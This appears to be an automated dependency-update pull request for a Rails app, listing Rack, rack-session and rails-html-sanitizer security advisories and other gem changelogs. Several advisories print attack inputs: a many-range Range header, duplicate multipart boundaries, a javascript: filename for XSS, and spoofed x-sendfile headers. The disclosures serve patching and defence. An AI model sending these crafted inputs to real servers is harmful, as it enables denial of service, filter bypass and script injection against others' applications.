These checks operate on the raw request path. If the request contains encoded characters such as %2E in place of ., the rule may fail to match even though the file path is later decoded and served successfully by the static file server.

For example, both of the following requests may resolve to the same file on disk:

/fonts/test.woff
/fonts/test%2Ewoff

but only the unencoded form may receive the headers configured through header_rules.

This creates a canonicalization mismatch between the path used for header policy decisions and the path ultimately used for file serving.

Impact

Applications that rely on Rack::Static header_rules to apply security-relevant headers to static files may be affected.

In affected deployments, an attacker can request an encoded variant of a static file path and receive the same file without the intended headers. Depending on how header_rules are used, this may bypass protections such as clickjacking defenses, content restrictions, or other response policies applied to static content.

The practical impact depends on the configured rules and the types of files being served. If header_rules are only used for non-security purposes such as caching, the issue may have limited security significance.

Mitigation

  • Update to a patched version of Rack that applies header_rules to a decoded path consistently with static file resolution.
  • Do not rely solely on Rack::Static header_rules for security-critical headers where encoded path variants may reach the application.
  • Prefer setting security headers at the reverse proxy or web server layer so they apply consistently to both encoded and unencoded path forms.
  • Normalize or reject encoded path variants for static content at the edge, where feasible.

🚨 Rack's multipart byte range processing allows denial of service via excessive overlapping ranges

Summary

Rack::Utils.get_byte_ranges parses the HTTP Range header without limiting the number of individual byte ranges. Although the existing fix for CVE-2024-26141 rejects ranges whose total byte coverage exceeds the file size, it does not restrict the count of ranges. An attacker can supply many small overlapping ranges such as 0-0,0-0,0-0,... to trigger disproportionate CPU, memory, I/O, and bandwidth consumption per request.

This results in a denial of service condition in Rack file-serving paths that process multipart byte range responses.

Details

Rack::Utils.get_byte_ranges accepts a comma-separated list of byte ranges and validates them based on their aggregate size, but does not impose a limit on how many individual ranges may be supplied.

As a result, a request such as:

Range: bytes=0-0,0-0,0-0,0-0,...

can contain thousands of overlapping one-byte ranges while still satisfying the total-size check added for CVE-2024-26141.

When such a header is processed by Rack’s file-serving code, each range causes additional work, including multipart response generation, per-range iteration, file seek and read operations, and temporary string allocation for response size calculation and output. This allows a relatively small request header to trigger disproportionately expensive processing and a much larger multipart response.

The issue is distinct from CVE-2024-26141. That fix prevents range sets whose total byte coverage exceeds the file size, but does not prevent a large number of overlapping ranges whose summed size remains within that limit.

Impact

Applications that expose file-serving paths with byte range support may be vulnerable to denial of service.

An unauthenticated attacker can send crafted Range headers containing many small overlapping ranges to consume excessive CPU time, memory, file I/O, and bandwidth. Repeated requests may reduce application availability and increase pressure on workers and garbage collection.

Mitigation

  • Update to a patched version of Rack that limits the number of accepted byte ranges.
  • Reject or normalize multipart byte range requests containing excessive range counts.
  • Consider disabling multipart range support where it is not required.
  • Apply request filtering or header restrictions at the reverse proxy or application boundary to limit abusive Range headers.

🚨 Rack's multipart header parsing allows Denial of Service via escape-heavy quoted parameters

Summary

Rack::Multipart::Parser#handle_mime_head parses quoted multipart parameters such as Content-Disposition: form-data; name="..." using repeated String#index searches combined with String#slice! prefix deletion. For escape-heavy quoted values, this causes super-linear processing.

An unauthenticated attacker can send a crafted multipart/form-data request containing many parts with long backslash-escaped parameter values to trigger excessive CPU usage during multipart parsing.

This results in a denial of service condition in Rack applications that accept multipart form data.

Details

Rack::Multipart::Parser#handle_mime_head parses quoted parameter values by repeatedly:

  1. Searching for the next quote or backslash,
  2. Copying the preceding substring into a new buffer, and
  3. Removing the processed prefix from the original string with slice!.

An attacker can exploit this by sending a multipart request with many parts whose name parameters contain long escape-heavy values such as:

name="a\\a\\a\\a\\a\\..."

Under default Rack limits, a request can contain up to 4095 parts. If many of those parts use long quoted values with dense escape characters, the parser performs disproportionately expensive CPU work while remaining within normal request size and part-count limits.

Impact

Any Rack application that accepts multipart/form-data requests may be affected, including file upload endpoints and standard HTML form handlers.

An unauthenticated attacker can send crafted multipart requests that consume excessive CPU time during request parsing. Repeated requests can tie up application workers, reduce throughput, and degrade or deny service availability.

Mitigation

  • Update to a patched version of Rack that parses quoted multipart parameters without repeated rescanning and destructive prefix deletion.
  • Apply request throttling or rate limiting to multipart upload endpoints.
  • Where operationally feasible, restrict or isolate multipart parsing on untrusted high-volume endpoints.

🚨 Rack's greedy multipart boundary parsing can cause parser differentials and WAF bypass.

Summary

Rack::Multipart::Parser extracts the boundary parameter from multipart/form-data using a greedy regular expression. When a Content-Type header contains multiple boundary parameters, Rack selects the last one rather than the first.

In deployments where an upstream proxy, WAF, or intermediary interprets the first boundary parameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated.

Details

Rack identifies the multipart boundary using logic equivalent to:

MULTIPART = %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|ni

Because the expression is greedy, it matches the last boundary= parameter in a header such as:

Content-Type: multipart/form-data; boundary=safe; boundary=malicious

As a result, Rack parses the request body using malicious, while another component may interpret the same header using safe.

This creates an interpretation conflict. If an upstream WAF or proxy inspects multipart parts using the first boundary and Rack later parses the body using the last boundary, a client may be able to place malicious form fields or uploaded content in parts that Rack accepts but the upstream component did not inspect as intended.

This issue is most relevant in layered deployments where security decisions are made before the request reaches Rack.

Impact

Applications that accept multipart/form-data uploads behind an inspecting proxy or WAF may be affected.

In such deployments, an attacker may be able to bypass upstream filtering of uploaded files or form fields by sending a request with multiple boundary parameters and relying on the intermediary and Rack to parse the request differently.

The practical impact depends on deployment architecture. If no upstream component relies on a different multipart interpretation, this behavior may not provide meaningful additional attacker capability.

Mitigation

  • Update to a patched version of Rack that rejects ambiguous multipart Content-Type headers or parses duplicate boundary parameters consistently.
  • Reject requests containing multiple boundary parameters.
  • Normalize or regenerate multipart metadata at the trusted edge before forwarding requests to Rack.
  • Avoid relying on upstream inspection of malformed multipart requests unless duplicate parameter handling is explicitly consistent across components.

🚨 Stored XSS in Rack::Directory via javascript: filenames rendered into anchor href

Summary

Rack::Directory generates an HTML directory index where each file entry is rendered as a clickable link. If a file exists on disk whose basename begins with the javascript: scheme (e.g. javascript:alert(1)), the generated index includes an anchor whose href attribute is exactly javascript:alert(1). Clicking this entry executes arbitrary JavaScript in the context of the hosting application.

This results in a client-side XSS condition in directory listings generated by Rack::Directory.

Details

Rack::Directory renders directory entries using an HTML row template similar to:

<a href='%s'>%s</a>

The %s placeholder is populated directly with the file’s basename. If the basename begins with javascript:, the resulting HTML contains an executable JavaScript URL:

<a href='javascript:alert(1)'>javascript:alert(1)</a>

Because the value is inserted directly into the href attribute without scheme validation or normalization, browsers interpret it as a JavaScript URI. When a user clicks the link, the JavaScript executes in the origin of the Rack application.

Impact

If Rack::Directory is used to expose filesystem contents over HTTP, an attacker who can create or upload files within that directory may introduce a malicious filename beginning with javascript:.

When a user visits the directory listing and clicks the entry, arbitrary JavaScript executes in the application's origin. Exploitation requires user interaction (clicking the malicious entry).

Mitigation

  • Update to a patched version of Rack in which Rack::Directory prefixes generated anchors with a relative path indicator (e.g. ./filename).
  • Avoid exposing user-controlled directories via Rack::Directory.
  • Apply a strict Content Security Policy (CSP) to reduce impact of potential client-side execution issues.
  • Where feasible, restrict or sanitize uploaded filenames to disallow dangerous URI scheme prefixes.

HackerOne profile:
https://hackerone.com/thesmartshadow

GitHub account owner:
Ali Firas (@thesmartshadow)

🚨 Rack has a Directory Traversal via Rack:Directory

Summary

Rack::Directory’s path check used a string prefix match on the expanded path. A request like /../root_example/ can escape the configured root if the target path starts with the root string, allowing directory listing outside the intended root.

Details

In directory.rb, File.expand_path(File.join(root, path_info)).start_with?(root) does not enforce a path boundary. If the server root is /var/www/root, a path like /var/www/root_backup passes the check because it shares the same prefix, so Rack::Directory will list that directory also.

Impact

Information disclosure via directory listing outside the configured root when Rack::Directory is exposed to untrusted clients and a directory shares the root prefix (e.g., public2, www_backup).

Mitigation

  • Update to a patched version of Rack that correctly checks the root prefix.
  • Don't name directories with the same prefix as one which is exposed via Rack::Directory.

🚨 Rack is vulnerable to a memory-exhaustion DoS through unbounded URL-encoded body parsing

Summary

Rack::Request#POST reads the entire request body into memory for Content-Type: application/x-www-form-urlencoded, calling rack.input.read(nil) without enforcing a length or cap. Large request bodies can therefore be buffered completely into process memory before parsing, leading to denial of service (DoS) through memory exhaustion.

Details

When handling non-multipart form submissions, Rack’s request parser performs:

form_vars = get_header(RACK_INPUT).read

Since read is called with no argument, the entire request body is loaded into a Ruby String. This occurs before query parameter parsing or enforcement of any params_limit. As a result, Rack applications without an upstream body-size limit can experience unbounded memory allocation proportional to request size.

Impact

Attackers can send large application/x-www-form-urlencoded bodies to consume process memory, causing slowdowns or termination by the operating system (OOM). The effect scales linearly with request size and concurrency. Even with parsing limits configured, the issue occurs before those limits are enforced.

Mitigation

  • Update to a patched version of Rack that enforces form parameter limits using query_parser.bytesize_limit, preventing unbounded reads of application/x-www-form-urlencoded bodies.
  • Enforce strict maximum body size at the proxy or web server layer (e.g., Nginx client_max_body_size, Apache LimitRequestBody).

🚨 Rack has a Possible Information Disclosure Vulnerability

Summary

A possible information disclosure vulnerability existed in Rack::Sendfile when running behind a proxy that supports x-sendfile headers (such as Nginx). Specially crafted headers could cause Rack::Sendfile to miscommunicate with the proxy and trigger unintended internal requests, potentially bypassing proxy-level access restrictions.

Details

When Rack::Sendfile received untrusted x-sendfile-type or x-accel-mapping headers from a client, it would interpret them as proxy configuration directives. This could cause the middleware to send a "redirect" response to the proxy, prompting it to reissue a new internal request that was not subject to the proxy's access controls.

An attacker could exploit this by:

  1. Setting a crafted x-sendfile-type: x-accel-redirect header.
  2. Setting a crafted x-accel-mapping header.
  3. Requesting a path that qualifies for proxy-based acceleration.

Impact

Attackers could bypass proxy-enforced restrictions and access internal endpoints intended to be protected (such as administrative pages). The vulnerability did not allow arbitrary file reads but could expose sensitive application routes.

This issue only affected systems meeting all of the following conditions:

  • The application used Rack::Sendfile with a proxy that supports x-accel-redirect (e.g., Nginx).
  • The proxy did not always set or remove the x-sendfile-type and x-accel-mapping headers.
  • The application exposed an endpoint that returned a body responding to .to_path.

Mitigation

  • Upgrade to a fixed version of Rack which requires explicit configuration to enable x-accel-redirect:

    use Rack::Sendfile, "x-accel-redirect"
  • Alternatively, configure the proxy to always set or strip the headers (you should be doing this!):

    proxy_set_header x-sendfile-type x-accel-redirect;
    proxy_set_header x-accel-mapping /var/www/=/files/;
  • Or in Rails applications, disable sendfile completely:

    config.action_dispatch.x_sendfile_header = nil

🚨 Rack: Multipart parser buffers large non‑file fields entirely in memory, enabling DoS (memory exhaustion)

Summary

Rack::Multipart::Parser stores non-file form fields (parts without a filename) entirely in memory as Ruby String objects. A single large text field in a multipart/form-data request (hundreds of megabytes or more) can consume equivalent process memory, potentially leading to out-of-memory (OOM) conditions and denial of service (DoS).

Details

During multipart parsing, file parts are streamed to temporary files, but non-file parts are buffered into memory:

body = String.new  # non-file → in-RAM buffer
@mime_parts[mime_index].body << content

There is no size limit on these in-memory buffers. As a result, any large text field—while technically valid—will be loaded fully into process memory before being added to params.

Impact

Attackers can send large non-file fields to trigger excessive memory usage. Impact scales with request size and concurrency, potentially leading to worker crashes or severe garbage-collection overhead. All Rack applications processing multipart form submissions are affected.

Mitigation

  • Upgrade: Use a patched version of Rack that enforces a reasonable size cap for non-file fields (e.g., 2 MiB).
  • Workarounds:
    • Restrict maximum request body size at the web-server or proxy layer (e.g., Nginx client_max_body_size).
    • Validate and reject unusually large form fields at the application level.

🚨 Rack's multipart parser buffers unbounded per-part headers, enabling DoS (memory exhaustion)

Summary

Rack::Multipart::Parser can accumulate unbounded data when a multipart part’s header block never terminates with the required blank line (CRLFCRLF). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS).

Details

While reading multipart headers, the parser waits for CRLFCRLF using:

@sbuf.scan_until(/(.*?\r\n)\r\n/m)

If the terminator never appears, it continues appending data (@sbuf.concat(content)) indefinitely. There is no limit on accumulated header bytes, so a single malformed part can consume memory proportional to the request body size.

Impact

Attackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected.

Mitigation

  • Upgrade to a patched Rack version that caps per-part header size (e.g., 64 KiB).
  • Until then, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx client_max_body_size).

🚨 Rack's unbounded multipart preamble buffering enables DoS (memory exhaustion)

Summary

Rack::Multipart::Parser buffers the entire multipart preamble (bytes before the first boundary) in memory without any size limit. A client can send a large preamble followed by a valid boundary, causing significant memory use and potential process termination due to out-of-memory (OOM) conditions.

Details

While searching for the first boundary, the parser appends incoming data into a shared buffer (@sbuf.concat(content)) and scans for the boundary pattern:

@sbuf.scan_until(@body_regex)

If the boundary is not yet found, the parser continues buffering data indefinitely. There is no trimming or size cap on the preamble, allowing attackers to send arbitrary amounts of data before the first boundary.

Impact

Remote attackers can trigger large transient memory spikes by including a long preamble in multipart/form-data requests. The impact scales with allowed request sizes and concurrency, potentially causing worker crashes or severe slowdown due to garbage collection.

Mitigation

  • Upgrade: Use a patched version of Rack that enforces a preamble size limit (e.g., 16 KiB) or discards preamble data entirely per RFC 2046 § 5.1.1.
  • Workarounds:
    • Limit total request body size at the proxy or web server level.
    • Monitor memory and set per-process limits to prevent OOM conditions.
Release Notes

3.2.6

Full Changelog: v3.2.5...v3.2.6

3.2.4 (from changelog)

Fixed

  • Multipart parser: limit MIME header size check to the unread buffer region to avoid false multipart mime part header too large errors when previously read data accumulates in the scan buffer. (#2392, @alpaca-tc, @willnet, @krororo)

3.2.2 (from changelog)

Security

  • CVE-2025-61772 Multipart parser buffers unbounded per-part headers, enabling DoS (memory exhaustion)
  • CVE-2025-61771 Multipart parser buffers large non‑file fields entirely in memory, enabling DoS (memory exhaustion)
  • CVE-2025-61770 Unbounded multipart preamble buffering enables DoS (memory exhaustion)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 35 commits:

↗️ rack-session (indirect, 2.1.1 → 2.1.2) · Repo · Changelog

Security Advisories 🚨

🚨 Rack::Session::Cookie secrets: decrypt failure fallback enables secretless session forgery and Marshal deserialization

Rack::Session::Cookie incorrectly handles decryption failures when configured with secrets:. If cookie decryption fails, the implementation falls back to a default decoder instead of rejecting the cookie. This allows an unauthenticated attacker to supply a crafted session cookie that is accepted as valid session data without knowledge of any configured secret.

Because this mechanism is used to load session state, an attacker can manipulate session contents and potentially gain unauthorized access.

Details

When secrets: is configured, Rack::Session::Cookie attempts to decrypt incoming session cookies using one of the configured encryptors. If all decrypt attempts fail, the implementation does not reject the cookie. Instead, it falls back to decoding the cookie using a default coder.

This fallback path processes attacker-controlled cookie data as trusted session state. The behavior is implicit and occurs even when encrypted cookies are expected.

The fallback decoder is applied automatically and does not require the application to opt into a non-encrypted session format. As a result, a client can send a specially crafted cookie value that bypasses the intended integrity protections provided by secrets:.

This issue affects both default configurations and those using alternative serializers for encrypted payloads.

Impact

Any Rack application using Rack::Session::Cookie with secrets: may be affected.

Note

Rails applications are typically not affected — Rails uses ActionDispatch::Session::CookieStore, which is a separate implementation backed by ActiveSupport::MessageEncryptor and does not share the vulnerable code path.

An unauthenticated attacker can supply a crafted session cookie that is accepted as valid session data. This can lead to authentication bypass or privilege escalation in applications that rely on session values for identity or authorization decisions.

Depending on application behavior and available runtime components, processing of untrusted session data may also expose additional risks.

Mitigation

  • Update to a patched version ofrack-session that rejects cookies when decryption fails under the secrets: configuration.
    • After updating, rotate session secrets to invalidate existing session cookies, since attacker-supplied session data may have been accepted and re-issued prior to the fix.
Release Notes

2.1.2 (from changelog)

  • CVE-2026-39324 Don't fall back to unencrypted coder if encryptors are present.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 10 commits:

↗️ rackup (indirect, 2.2.1 → 2.3.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 10 commits:

↗️ rails-html-sanitizer (indirect, 1.6.2 → 1.7.1) · Repo · Changelog

Security Advisories 🚨

🚨 Rails HTML Sanitizers: Possible XSS vulnerability with certain configurations

Summary

There is a possible cross-site scripting vulnerability in rails-html-sanitizer when the sanitizer is configured to allow an SVG reference element such as <use>. See related GHSA-9wjq-cp2p-hrgf in Loofah, whose SVG local-reference logic rails-html-sanitizer mirrors.

  • Versions affected: >= 1.0.3, < 1.7.1
  • Not affected: < 1.0.3
  • Fixed versions: 1.7.1

Impact

Rails::HTML::PermitScrubber restricts SVG reference elements in the SVG_ALLOW_LOCAL_HREF collection to local, same-document references, but that restriction covered only the xlink:href attribute. Browsers also accept a plain href attribute per the SVG 2 spec, and it was not restricted, so those elements could reference arbitrary external documents. SVG <use> can load and render external SVG content by reference, and if the referenced document is same-origin and contains scripts, it could execute in the context of the sanitized document. <feImage> can load external images, which can be used for tracking.

Applications are impacted only when the allowed tags are overridden to include one of these SVG reference elements, for example <use> or <feImage>. The default allowed tags do not include these SVG elements, so applications using the default configuration are not affected.

Workarounds

Remove the SVG reference elements (such as use and feImage) from the overridden allowed tags. Applications using the default allowed tags are not affected.

References

Credit

Found by maintainer Mike Dalessio during a security audit.

Release Notes

1.7.1

v1.7.1 / 2026-07-15

  • SVG reference elements now restrict both href and xlink:href to local references.

    Previously PermitScrubber restricted only xlink:href on elements in SVG_ALLOW_LOCAL_HREF,
    so a plain href attribute on those elements could reference an external document. Applications
    are only affected if the allowed tags are overridden to include an SVG reference element such as
    use; the default configuration is not affected.

    This change addresses GHSA-cj75-f6xr-r4g7 (CVE requested). The minimum Loofah dependency is now
    ~> 2.25, >= 2.25.2.

    Mike Dalessio @flavorjones

1.7.0

v1.7.0 / 2026-02-24

  • Add Rails::HTML::Sanitizer.allowed_uri? which delegates to Loofah::HTML5::Scrub.allowed_uri?,
    allowing the Rails framework to check URI safety without a direct dependency on Loofah.

    The minimum Loofah dependency is now ~> 2.25.

    Mike Dalessio @flavorjones

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ railties (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Release Notes

8.0.1 (from changelog)

  • Skip generation system tests related code for CI when --skip-system-test is given.

    fatkodima

  • Don't add bin/thrust if thruster is not in Gemfile.

    Étienne Barrié

  • Don't install a package for system test when applications don't use it.

    y-yagi

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • No changes.

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • Fix rails console for application with non default application constant.

    The wrongly assumed the Rails application would be named AppNamespace::Application, which is the default but not an obligation.

    Jean Boussier

  • Fix the default Dockerfile to include the full sqlite3 package.

    Prior to this it only included libsqlite3, so it wasn't enough to run rails dbconsole.

    Jerome Dalbert

  • Don't update public directory during app:update command for API-only Applications.

    y-yagi

  • Don't add bin/brakeman if brakeman is not in bundle when upgrading an application.

    Etienne Barrié

  • Remove PWA views and routes if its an API only project.

    Jean Boussier

  • Simplify generated Puma configuration

    DHH, Rafael Mendonça França

7.2.0 (from changelog)

  • The new bin/rails boot command boots the application and exits. Supports the standard -e/--environment options.

    Xavier Noria

  • Create a Dev Container Generator that generates a Dev Container setup based on the current configuration of the application. Usage:

    bin/rails devcontainer

    Andrew Novoselac

  • Add Rubocop and GitHub Actions to plugin generator. This can be skipped using --skip-rubocop and --skip-ci.

    Chris Oliver

  • Remove support for oracle, sqlserver and JRuby specific database adapters from the rails new and rails db:system:change commands.

    The supported options are sqlite3, mysql, postgresql and trilogy.

    Andrew Novoselac

  • Add options to bin/rails app:update.

    bin/rails app:update now supports the same generic options that generators do:

    • --force: Accept all changes to existing files
    • --skip: Refuse all changes to existing files
    • --pretend: Don't make any changes
    • --quiet: Don't output all changes made

    Étienne Barrié

  • Implement Rails console commands and helpers with IRB v1.13's extension APIs.

    Rails console users will now see helper, controller, new_session, and app under IRB help message's Helper methods category. And reload! command will be displayed under the new Rails console commands category.

    Prior to this change, Rails console's commands and helper methods are added through IRB's private components and don't show up in its help message, which led to poor discoverability.

    Stan Lo

  • Remove deprecated Rails::Generators::Testing::Behaviour.

    Rafael Mendonça França

  • Remove deprecated find_cmd_and_exec console helper.

    Rafael Mendonça França

  • Remove deprecated Rails.config.enable_dependency_loading.

    Rafael Mendonça França

  • Remove deprecated Rails.application.secrets.

    Rafael Mendonça França

  • Generated Gemfile will include require: "debug/prelude" for the debug gem.

    Requiring debug gem directly automatically activates it, which could introduce additional overhead and memory usage even without entering a debugging session.

    By making Bundler require debug/prelude instead, developers can keep their access to breakpoint methods like debugger or binding.break, but the debugger won't be activated until a breakpoint is hit.

    Stan Lo

  • Skip generating a test job in ci.yml when a new application is generated with the --skip-test option.

    Steve Polito

  • Update the .node-version file conditionally generated for new applications to 20.11.1

    Steve Polito

  • Fix sanitizer vendor configuration in 7.1 defaults.

    In apps where rails-html-sanitizer was not eagerly loaded, the sanitizer default could end up being Rails::HTML4::Sanitizer when it should be set to Rails::HTML5::Sanitizer.

    Mike Dalessio, Rafael Mendonça França

  • Set action_mailer.default_url_options values in development and test.

    Prior to this commit, new Rails applications would raise ActionView::Template::Error if a mailer included a url built with a *_path helper.

    Steve Polito

  • Introduce Rails::Generators::Testing::Assertions#assert_initializer.

    Compliments the existing initializer generator action.

    assert_initializer "mail_interceptors.rb"

    Steve Polito

  • Generate a .devcontainer folder and its contents when creating a new app.

    The .devcontainer folder includes everything needed to boot the app and do development in a remote container.

    The container setup includes:

    • A redis container for Kredis, ActionCable etc.
    • A database (SQLite, Postgres, MySQL or MariaDB)
    • A Headless chrome container for system tests
    • Active Storage configured to use the local disk and with preview features working

    If any of these options are skipped in the app setup they will not be included in the container configuration.

    These files can be skipped using the --skip-devcontainer option.

    Andrew Novoselac & Rafael Mendonça França

  • Introduce SystemTestCase#served_by for configuring the System Test application server.

    By default this is localhost. This method allows the host and port to be specified manually.

    class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
      served_by host: "testserver", port: 45678
    end

    Andrew Novoselac & Rafael Mendonça França

  • bin/rails test will no longer load files named *_test.rb if they are located in the fixtures folder.

    Edouard Chin

  • Ensure logger tags configured with config.log_tags are still active in request.action_dispatch handlers.

    KJ Tsanaktsidis

  • Setup jemalloc in the default Dockerfile for memory optimization.

    Matt Almeida, Jean Boussier

  • Commented out lines in .railsrc file should not be treated as arguments when using rails new generator command. Update ARGVScrubber to ignore text after # symbols.

    Willian Tenfen

  • Skip CSS when generating APIs.

    Ruy Rocha

  • Rails console now indicates application name and the current Rails environment:

    my-app(dev)> # for RAILS_ENV=development
    my-app(test)> # for RAILS_ENV=test
    my-app(prod)> # for RAILS_ENV=production
    my-app(my_env)> # for RAILS_ENV=my_env

    The application name is derived from the application's module name from config/application.rb. For example, MyApp will displayed as my-app in the prompt.

    Additionally, the environment name will be colorized when the environment is development (blue), test (blue), or production (red), if your terminal supports it.

    Stan Lo

  • Ensure autoload_paths, autoload_once_paths, eager_load_paths, and load_paths only have directories when initialized from engine defaults.

    Previously, files under the app directory could end up there too.

    Takumasa Ochi

  • Prevent unnecessary application reloads in development.

    Previously, some files outside autoload paths triggered unnecessary reloads. With this fix, application reloads according to Rails.autoloaders.main.dirs, thereby preventing unnecessary reloads.

    Takumasa Ochi

  • Use oven-sh/setup-bun in GitHub CI when generating an app with Bun.

    TangRufus

  • Disable pidfile generation in the production environment.

    Hans Schnedlitz

  • Set config.action_view.annotate_rendered_view_with_filenames to true in the development environment.

    Adrian Marin

  • Support the BACKTRACE environment variable to turn off backtrace cleaning.

    Useful for debugging framework code:

    BACKTRACE=1 bin/rails server

    Alex Ghiculescu

  • Raise ArgumentError when reading config.x.something with arguments:

    config.x.this_works.this_raises true # raises ArgumentError

    Sean Doyle

  • Add default PWA files for manifest and service-worker that are served from app/views/pwa and can be dynamically rendered through ERB. Mount these files explicitly at the root with default routes in the generated routes file.

    DHH

  • Updated system tests to now use headless Chrome by default for the new applications.

    DHH

  • Add GitHub CI files for Dependabot, Brakeman, RuboCop, and running tests by default. Can be skipped with --skip-ci.

    DHH

  • Add Brakeman by default for static analysis of security vulnerabilities. Allow skipping with --skip-brakeman option.

    vipulnsward

  • Add RuboCop with rules from rubocop-rails-omakase by default. Skip with --skip-rubocop.

    DHH and zzak

  • Use bin/rails runner --skip-executor to not wrap the runner script with an Executor.

    Ben Sheldon

  • Fix isolated engines to take ActiveRecord::Base.table_name_prefix into consideration.

    This will allow for engine defined models, such as inside Active Storage, to respect Active Record table name prefix configuration.

    Chedli Bourguiba

  • Fix running db:system:change when the app has no Dockerfile.

    Hartley McGuire

  • In Action Mailer previews, list inline attachments separately from normal attachments.

    For example, attachments that were previously listed like

    Attachments: logo.png file1.pdf file2.pdf

    will now be listed like

    Attachments: file1.pdf file2.pdf (Inline: logo.png)

    Christian Schmidt and Jonathan Hefner

  • In mailer preview, only show SMTP-To if it differs from the union of To, Cc and Bcc.

    Christian Schmidt

  • Enable YJIT by default on new applications running Ruby 3.3+.

    This can be disabled by setting Rails.application.config.yjit = false

    Jean Boussier, Rafael Mendonça França

  • In Action Mailer previews, show date from message Date header if present.

    Sampat Badhe

  • Exit with non-zero status when the migration generator fails.

    Katsuhiko YOSHIDA

  • Use numeric UID and GID in Dockerfile template.

    The Dockerfile generated by rails new sets the default user and group by name instead of UID:GID. This can cause the following error in Kubernetes:

    container has runAsNonRoot and image has non-numeric user (rails), cannot verify user is non-root
    

    This change sets default user and group by their numeric values.

    Ivan Fedotov

  • Disallow invalid values for rails new options.

    The --database, --asset-pipeline, --css, and --javascript options for rails new take different arguments. This change validates them.

    Tony Drake, Akhil G Krishnan, Petrik de Heus

  • Conditionally print $stdout when invoking run_generator.

    In an effort to improve the developer experience when debugging generator tests, we add the ability to conditionally print $stdout instead of capturing it.

    This allows for calls to binding.irb and puts work as expected.

    RAILS_LOG_TO_STDOUT=true ./bin/test test/generators/actions_test.rb

    Steve Polito

  • Remove the option config.public_file_server.enabled from the generators for all environments, as the value is the same in all environments.

    Adrian Hirt

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rake (indirect, 13.3.0 → 13.4.2) · Repo · Changelog

Release Notes

13.4.2

What's Changed

  • Preserve ENV["TESTOPTS"] when verbose is enabled by @hsbt in #723

Full Changelog: v13.4.1...v13.4.2

13.4.1

What's Changed

  • Add lib/rake/options.rb to gemspec by @hsbt in #721

Full Changelog: v13.4.0...v13.4.1

13.4.0

What's Changed

  • refactor: fix ambiguous regexp / assertion in one of the tests by @pvdb in #667
  • Fix RDoc formatting in doc/command_line_usage.rdoc by @hsbt in #693
  • Document implicit file tasks by @hsbt in #692
  • Show chdir option as a command by @nobu in #552
  • Verbose console by @kaiquekandykoga in #394
  • Align example with text by @henrebotha in #632
  • Allow accept multiple files to TEST env var by @Yegorov in #712
  • Replace Rake's Win32-specific logic with a 100% equivalent, pure-Ruby implementation by @pvdb in #669
  • Add Options class and switch Application to use it instead of anonymous Struct by @hsbt in #694
  • Accept Pathname object as rule's prerequisite by @gemmaro in #528
  • Dedupe and simplify standard_system_dir by @pvdb in #713

New Contributors

Full Changelog: v13.3.1...v13.4.0

13.3.1

What's Changed

  • Remove useless condition check by @DormancyWang in #636
  • Added document for RAKEOPT by @hsbt in #639
  • lewagon/wait-on-check-action didn't need bot token by @hsbt in #642
  • Fixed wrong name of environmental variable by @hsbt in #643
  • The old Ruby version of Windows is broken by @hsbt in #647
  • Avoid to use it by @hsbt in #650
  • Fixed assertion result with the latest stable version of JRuby by @hsbt in #655
  • Fixup test_load_error_raised_implicitly with JRuby by @hsbt in #657
  • Set source_code_uri metadata to this gem's public repo URL by @amatsuda in #662
  • Fix TaskArguments#deconstruct_keys with keys = nil by @nevans in #635
  • refactor: only include lib in $LOAD_PATH if not included yet by @pvdb in #610
  • silence warnings during execution of rake tasks in Rakefile (ex: rake test) by @luke-gru in #483

New Contributors

Full Changelog: v13.3.0...v13.3.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rdoc (indirect, 6.14.2 → 8.0.0) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ reline (indirect, 0.6.2 → 0.6.3) · Repo · Changelog

Release Notes

0.6.3

What's Changed

🐛 Bug Fixes

  • Fix CSI pattern regexp to accept parameter bytes and intermediate bytes by @tompng in #848
  • Use key symbol names instead of hardcoded C-r C-s C-h C-? in reverse/forward i-search by @tompng in #855

🛠 Other Changes

Full Changelog: v0.6.2...v0.6.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

↗️ thor (indirect, 1.4.0 → 1.5.0) · Repo · Changelog

Release Notes

1.5.0

What's Changed

New Contributors

Full Changelog: v1.4.0...v1.5.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 25 commits:

↗️ timeout (indirect, 0.4.3 → 0.6.1) · Repo · Changelog

Release Notes

0.6.1

What's Changed

New Contributors

Full Changelog: v0.6.0...v0.6.1

0.6.0

What's Changed

  • Suppress warnings in two tests by @olleolleolle in #71
  • Revert "Suppress warnings in two tests" by @nobu in #74
  • Only the timeout method should be public on the Timeout module by @eregon in #76
  • support Ractor by @ko1 in #75
  • Test that Timeout does not expose extra constants by @eregon in #77
  • Revert "Exclude constantly-failing test on x86_64-darwin" by @ko1 in #79
  • Reset the interrupt mask when creating the Timeout thread by @eregon in #80
  • Make Timeout.timeout work in a trap handler on CRuby by @eregon in #81
  • Skip signal test on windows by @byroot in #82
  • Add windows to CI matrix by @byroot in #83
  • Fix failing timeout test by @luke-gruber in #85
  • Restore original signal handler in test_timeout_in_trap_handler by @eregon in #87
  • Run on Windows for all versions and remove old excludes by @eregon in #84

New Contributors

Full Changelog: v0.4.4...v0.6.0

0.5.0

What's Changed

  • Suppress warnings in two tests by @olleolleolle in #71
